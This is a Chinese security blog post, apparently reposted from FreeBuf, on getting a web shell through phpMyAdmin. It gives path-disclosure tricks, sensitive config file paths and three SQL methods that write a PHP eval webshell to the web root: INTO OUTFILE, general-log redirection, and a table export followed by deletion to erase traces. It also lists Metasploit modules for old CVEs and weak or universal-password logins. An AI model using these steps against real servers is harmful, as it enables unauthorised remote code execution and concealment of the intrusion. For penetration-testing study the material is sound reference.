简述phpMyadmin如何getshell

admin 2021年4月30日09:36:20评论84 views字数 3916阅读13分3秒阅读模式

一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;

简述phpMyadmin如何getshell
配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
# Windows
c:windowsphp.ini # php配置文件
c:windowssystem32inetsrvMetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.abc.com/bg.jpg/x.php

Google爆路径

site:xxx.com warning
site:xxx.com “fatal error”

测试文件爆路径

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

其它

phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息

select version(); -- 查看数据库版本

select @@datadir; -- 查看数据库存储路径

show VARIABLES like '%char%'; -- 查看系统变量

三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell

2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

[code] select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件

(2)三种方法

1.常规GetShell
直接通过SQL查询写入shell

-- 假设物理路径为 "E:phpStudyWWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';


2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量

show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:phpStudyMySQLdataFengSec.log


general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径

set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接


写shell

select '<?php eval($_POST[123]); ?>';

3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1

简述phpMyadmin如何getshell
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT

简述phpMyadmin如何getshell
在该表中点击插入,值为一句话木马
<?php eval($_POST[123]); ?>

简述phpMyadmin如何getshell
执行SQL查询,将该表中的内容导出到指定文件

-- 假设物理路径为 "E:phpStudyWWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";

简述phpMyadmin如何getshell

简述phpMyadmin如何getshell
删除该表,抹除痕迹

Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行

Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
(3)特殊版本GetShell
CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html

相关推荐: 通过进程监控检测SSH活动

在进行的许多渗透测试活动中,我注意到有许多攻击都是通过使用合法凭据的SSH访问开始的。现在你可能会想,用户究竟为什么要在macOS上启用SSH服务。这对普通用户来说真的有必要吗?当然,对于普通用户来说,答案是否定的。这完全没有必要,但我认为基于macOS的构建…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月30日09:36:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简述phpMyadmin如何getshellhttps://cn-sec.com/archives/246361.html